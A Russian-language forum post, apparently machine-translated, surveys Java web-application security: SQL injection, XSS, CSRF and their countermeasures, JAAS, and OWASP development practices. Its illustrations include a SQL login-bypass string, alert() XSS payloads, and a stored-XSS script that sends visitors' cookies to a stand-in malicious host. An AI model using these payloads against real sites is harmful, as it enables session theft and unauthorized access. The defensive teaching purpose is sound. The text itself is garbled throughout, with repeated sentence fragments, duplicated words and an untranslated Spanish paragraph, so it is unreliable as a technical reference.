Обнаружение, эксплуатация и предотвращение уязвимостей веб-безопасности
Java/Javascript - один из языков программирования, наиболее широко используемых компаниями для разработки управленческих сервисов с хорошей доступностью и масштабируемостью.
В данном отчете будут рассмотрены наиболее важные ошибки безопасности, которые влияют на сервисы и/или программы, созданные с использованием языка программирования Java/Javascript, а также протоколы или инструменты, предоставляемые самим языком для их предотвращения/контроля.
Предоставить информацию об основных векторах атак злоумышленников и необходимые рекомендации и критерии, которые следует учитывать для более безопасной разработки веб-приложений на Java.
Предложение протоколов безопасности для различных этапов разработки веб-приложения, создаваемого на Java.
Проектирование и разработка веб-сервисов с использованием J2EE с использованием библиотек и инструментов, которые можно найти в Java. Проектирование и разработка веб-сервисов с использованием J2EE с использованием библиотек и инструментов, которые можно найти в Java.
Внедрение систем шифрования для хранения данных в нашей базе данных в случае ошибки безопасности. в случае новой ошибки безопасности, чтобы не подвергать ее риску.
Инъекционные атаки SQL или LDAP
Инъекция кода является одним из наиболее известных и широко используемых сообществом векторов атак, таких как SQL-инъекция или LDAP, причем sql является наиболее известным и опасным, поскольку позволяет злоумышленнику получить доступ ко всей нашей базе данных, но как она работает и как ее предотвратить.
SQL-инъекция заключается во вставке SQL-кода в машину жертвы через обычные входные данные, предоставляемые сервером, например, в такие поля, как имя пользователя и пароль, которые хранятся в SQL-базах данных, используемых Java, с целью получения доступа к базе данных для получения или удаления всех хранящихся в ней учетных данных. учетные данные, хранящиеся в базе данных.
Яркий пример SQL-инъекции основан на передаче в качестве входного параметра кода или команды в обход систем проверки сервера для предоставления или запрета доступа.
Изображение показывает один из примеров множества, уязвимых для атаки SQL-инъекции, с использованием команды Атака SQL-инъекции, используя команду <') OR '1'='1'> в качестве имени пользователя и пароля, дала бы нам доступ к серверу, так как пароля даст нам доступ к серверу, так как условие выражения всегда истинно. всегда истинно.
Если параметры имени пользователя и пароля не проверены должным образом, злоумышленник может получить доступ, используя только эту команду. Атакующий мог бы получить доступ, используя только эту команду, но этот тип атаки можно предотвратить, так как мы собираемся этот тип атаки, как мы увидим в следующем разделе.
Контрмеры для предотвращения этого типа атак очень хорошо определены в связи с частым использованием и важностью защиты базы данных нашей организации.
Использование параметризованных запросов для разделения проверки входных параметров, введенных пользователем, для этого используются предварительно составленные предложения, в которых указывается, какие параметры будут введены, таким образом, можно указать, какой код будет выполнен и какого типа входные переменные, и таким образом предотвратить создание пользователем атаки SQL инъекции, например, введение SQL команды, которая не является ожидаемым типом (строка, целое число, дата) вызовет исключение.
На следующем изображении показано, как сгенерировать безопасный запрос на нашем сервере с помощью Prepared Statement.
Использование хранимых процедур, как правило, не может быть затронуто SQL-инъекцией. Инъекция SQL-кода.
Используйте фреймворки или инструменты, такие как Object Relational Mapping (ORM) в Java. которые предоставляют исходный код для параметризации запросов на вашем сервере.
Блокировать специальные символы, вводимые пользователем, такие как # или " или ', но я не рекомендую этого делать, так как у каждого могут быть свои специальные символы. Я не рекомендую этого делать, поскольку каждый может иметь такой пароль, какой он хочет, используя специальные символы, и есть такие способы, как те. специальные символы, и есть способы, как упомянутые выше, чтобы избежать их даже при использовании специальных символов. специальных символов.
Обеспечьте необходимые привилегии, которые потребуются обычному пользователю при подключении к нашей базе данных, разделите привилегии базы данных, разделить привилегии в коде для выбора различных типов пользователей, использующих одну и ту же базу данных. пользователей, использующих одну и ту же базу данных.
Атаки XSS (Межсайтовый скриптинг)
Этот тип уязвимости возникает, когда веб-приложение получает данные и отправляет их в браузер, не выполнив предварительно соответствующей проверки.
XSS позволяет злоумышленнику написать набор команд в веб-браузере жертвы, что может позволить злоумышленнику удаленно управлять машиной жертвы, пример кода может быть следующим:
<script> alert("Это уязвимо для XSS.") </script>XSS атака включает использование javascript в качестве кода, но это зависит от типа атаки, так как есть очень сложные, есть достаточно надежный способ узнать, уязвимо ли наше веб-приложение к XSS атаке, тестирование того, что при отправке любого типа информации на сервер, как если бы мы были простыми пользователями, использующими клиент, вы можете увидеть, что было ранее увидеть, что было ранее отправлено на странице ответа.
Существует множество типов XSS-атак, как упоминалось выше, но из них 3 являются наиболее известными и наиболее используемыми. Но мы можем выделить 3 из них, поскольку они наиболее известны и наиболее часто используются, поэтому наш веб-сервер должен быть защищен от этих основных типов атак поэтому наш веб-сервер должен быть защищен от этих основных типов атак:
Отраженный XSS: Представьте, что на сайте есть поле поиска, которое отображает поисковые запросы в результатах, но не проверяет и не экранирует специальные символы должным образом. Злоумышленник может создать вредоносную ссылку, которая включает в поисковый запрос сценарий, например :
http://www.example.com/search?term=<script>alert('XSS-атака')</script>Если пользователь щелкнет по этой ссылке, скрипт запустится в его браузере, отобразив предупреждение с сообщением "XSS-атака". Злоумышленник мог использовать более вредоносный скрипт для кражи информации или выполнения действий от имени пользователя.
Хранимый XSS: Предположим, что сайт позволяет пользователям оставлять комментарии в блоге, но не проверяет и не экранирует специальные символы в содержимом комментария. Злоумышленник может опубликовать комментарий, содержащий вредоносный скрипт, такой как:
Здравствуйте, отличная статья! <script>document.location='http://www.malicious.com/?cookie=' + document.cookie;</script>
Когда другие пользователи будут читать комментарии, скрипт будет выполняться в их браузерах, отправляя их cookies на вредоносный сайт. Злоумышленник может использовать эти cookies для перехвата сеансов пользователей и получения несанкционированного доступа к их учетным записям.
XSS на основе DOM: Представьте, что веб-приложение использует JavaScript для чтения значения из URL и отображения его на странице без валидации или экранирования. Злоумышленник может манипулировать URL, чтобы включить в него вредоносный скрипт:
http://www.example.com/pag#<script>alert('DOM-based XSS attack')Когда пользователь переходит по этому URL, скрипт выполняется в его браузере, отображая предупреждение с сообщением "DOM-based XSS attack". Как и в других примерах, злоумышленник мог использовать более вредоносный скрипт для выполнения опасных действий.
Параметры и протоколы, которые необходимо соблюдать, чтобы наш веб-сервис не был уязвим для этого типа атак, основаны на таких методах проверки, как:
- Входная валидация: использование функций валидации и фильтрации для записей, создаваемых на веб-сервере, например, белых списков.
- Обязательная активация httponly в Интернете.
- Шифруйте выходные данные и файлы cookie.
- Фреймворки, такие как Java Server Faces, имеют библиотеки для предотвращения XSS.
- Убедитесь, что все типы данных, предоставляемых пользователем, зашифрованы правильно. правильно.
Подделка запросов происходит, когда злоумышленник заставляет браузер жертвы инициировать фальшивый HTTP-запрос, тем самым перехватывая сессионный cookie жертвы для веб-сервера. Таким образом, злоумышленник может генерировать недействительные запросы на машине жертвы, но браузер жертвы считает их легитимными и перехватывает необходимую злоумышленнику информацию. Среди основных причин, делающих возможным этот тип атаки, можно назвать следующие:
- Злоупотребление системой входа, поскольку подавляющее большинство сайтов полагаются на то, что после того, как пользователь аутентифицировался с помощью своих учетных данных, все сгенерированные им запросы являются действительными, и не проверяют, являются ли они запросами с машины, отличной от машины пользователя, что позволяет злоумышленнику выдавать себя за пользователя.
- Использование тегов HTML, использование тегов html означает, что злоумышленник может генерировать в них определенные команды, но с различными функциями в зависимости от намерений злоумышленника.
- Бесконтрольное использование PUT и POST для отправки информации на сервер, бесконтрольное использование этих методов для отправки информации на сервер, например, в форме, может позволить злоумышленнику перехватить эту информацию и отправить ее так, как если бы он был пользователем.
Чтобы предотвратить создание злоумышленником поддельных HTTP-запросов на вашем сервере, рекомендуется выполнить следующие инструкции.
сервера, рекомендуется следовать ряду инструкций:
- Добавьте уникальные и зашифрованные токены.
- Использовать защищенную версию протокола HTTP с шифрованием TLS.
- Добавление в сеанс дополнительной информации помимо обязательной, как показано на рисунке 3.
- Проверяйте информацию, отправленную на веб-сервер, с помощью put и post.
- Используйте заголовки 'Referer', хотя было доказано, что они не являются 100%, но обеспечивают минимально необходимую защиту пользователя, а также предотвращают запросы к недействительным URI.
Инструменты анализа
Инструмент анализа - это не более чем программа, которая отслеживает в нашем коде любой недостаток безопасности, который мы пропустили, основываясь на рекомендациях и атаках, которые определил сам инструмент, упомянутые выше 0 дней не найдут их по причинам, которые уже были упомянуты, остальные упомянутые ошибки и многие другие в теории, если мы предупредим, что он уязвим и возможное исправление.
Служба аутентификации и авторизации Java (JAAS) была представлена как дополнительный пакет (расширение) к Java 2 SDK, Standard Edition (J2SDK), версия 1.3. JAAS была интегрирована в J2SDK 1.4.
JAAS можно использовать для двух целей.
Для аутентификации пользователей, чтобы надежно и безопасно определить, кто в данный момент выполняет Java-код, независимо от того, выполняется ли код как приложение, апплет, боб или сервлет.
Для авторизации пользователей, чтобы убедиться, что они обладают необходимыми правами контроля доступа (разрешениями) для выполнения выполняемых действий.
JAAS реализует Java-версию стандартного подключаемого модуля аутентификации (Pluggable Authentication).
Module (PAM).
Традиционно Java обеспечивала контроль доступа на основе исходных текстов (контроль доступа на основе того, откуда пришел код и кто его подписал). Однако в ней отсутствовала возможность дополнительно применять контроль доступа на основе того, кто выполняет код. JAAS предоставляет основу, которая дополняет архитектуру безопасности Java такой поддержкой.
Аутентификация в JAAS выполняется в подключаемой манере. Это позволяет приложениям оставаться независимыми от базовых технологий аутентификации.
базовых технологий аутентификации. Новые или обновленные технологии аутентификации могут подключаться к приложению без необходимости модификации самого приложения. Приложения включают процесс аутентификации путем инстанцирования объекта LoginContext, который, в свою очередь, ссылается на Configuration для определения технологии(ий) аутентификации, или LoginModule, который будет использоваться для выполнения аутентификации. Типичные модули входа могут запрашивать и проверять имя пользователя и пароль. Другие могут считывать и проверять образец голоса или отпечаток пальца.
Una vez que se autentica el código de ejecución del usuario o del servicio, el componente de autorización JAAS funciona junto con el modelo de control de acceso central de Java SE para proteger el acceso a los recursos confidenciales. A diferencia de J2SDK 1.3 y versiones anteriores, donde las decisiones de control de acceso se basan únicamente en la ubicación del código y los firmantes del código (CodeSource), en J2SDK 1.4, las decisiones de control de acceso se basan tanto en el CodeSource del código ejecutable como en el usuario o servicio que ejecuta el código. que está representado por un objeto Sujeto. El objeto Asunto es actualizado por LoginModule con los principales y las credenciales apropiados en la autenticación exitosa.
Эти ссылки содержат общее руководство по технологиям, рассматриваемым в этих разделах, и конкретные рекомендации, которые они содержат.
В этом разделе обсуждаются общие проблемы, с которыми сталкиваются веб-разработчики при создании безопасных веб-приложений, независимо от того, используют ли они
Java, pHp, AJAX или другие веб-языки и/или технологии.
Вопросы аутентификации, связанные с безопасными веб-приложениями, такие как базовая аутентификация/аутентификация с помощью дайджеста, аутентификация на основе форм, интегрированная аутентификация (SSO) и т.д.
Вопросы аутентификации, гарантирующие, что пользователь имеет соответствующие привилегии для просмотра ресурса. Сюда входят такие вопросы, как принцип наименьших привилегий, маркеры авторизации на стороне клиента и т.д.
Принцип наименьших привилегий, маркеры авторизации на стороне клиента и т.д.
Аутентифицированные пользователи имеют надежную и криптографически защищенную связь со своей сессией, приложения применяют проверку авторизации, а приложения избегают или предотвращают распространенные веб-атаки, такие как повторное воспроизведение, подделка запросов и атака "человек посередине".
подделка запросов и "человек посередине".
Приложения устойчивы к любым формам входных данных, полученных от пользователя, инфраструктуры, внешних объектов или баз данных.
Решение проблем приложений для обеспечения их защищенности от известных атак подмены параметров в распространенных интерпретаторах.
- Обработка ошибок, аудит и протоколирование
Разработка хорошо написанных приложений, которые имеют двойное назначение - журналы и трассировки активности для аудита и мониторинга. Это позволяет легко отследить
транзакцию без чрезмерных усилий или доступа к системе. Они должны обладать способностью легко отслеживать или выявлять возможное мошенничество или аномалии от начала до конца.
Синхронизация и удаленные сервисы для веб-приложений, защита приложений от: Синхронизация и удаленные сервисы для веб-приложений, защита приложений от: Синхронизация и удаленные сервисы для веб-приложений, защита приложений от
- условий гонки по времени проверки и по времени использования.
- проблемы распределенной синхронизации
- общие проблемы мультипрограммирования, многопоточности и распределенной безопасности.
- Приложения не подвергаются воздействию неисправных компонентов.
- Приложения создают как можно меньше переполнений буфера.
- Разработчикам рекомендуется использовать языки и механизмы, которые относительно невосприимчивы к переполнению буфера.
Функции уровня администратора адекватно отделены от деятельности пользователей, которые не могут получить доступ или использовать функции администратора, и обеспечивают необходимый аудит и отслеживаемость административных функций.
Обеспечьте безопасное использование криптографии для защиты конфиденциальности и целостности конфиденциальных пользовательских данных.
Создание безопасных веб-приложений, максимально хорошо построенных и максимально защищенных.
- Обеспечение качества программного обеспечения (QA)
Согласно руководству OWASP, "целью обеспечения качества программного обеспечения является подтверждение того, что конфиденциальность и целостность частных данных пользователей защищены в процессе обработки, хранения и передачи данных. Тестирование QA также должно подтвердить, что приложение не может быть взломано, разрушено, захвачено, перегружено или заблокировано атаками типа "отказ в обслуживании" в пределах приемлемого уровня риска". Это подразумевает, что приемлемые уровни риска и сценарии моделирования угроз устанавливаются заранее, чтобы разработчики и инженеры QA знали, чего ожидать и над чем работать.
Ссылки :
Standard Algorithm Name Documentation
Java Cryptography Architecture (JCA) Reference Guide
Documentation
Модераторы и форумчане не стесняются редактировать и перемещать тему, если что-то не так или что-то плохо переведено.Как я уже говорил, я не русский, я сделал это со всей добросовестностью и со всем возможным желанием.
Наш канал - https://t.me/webhack_kakao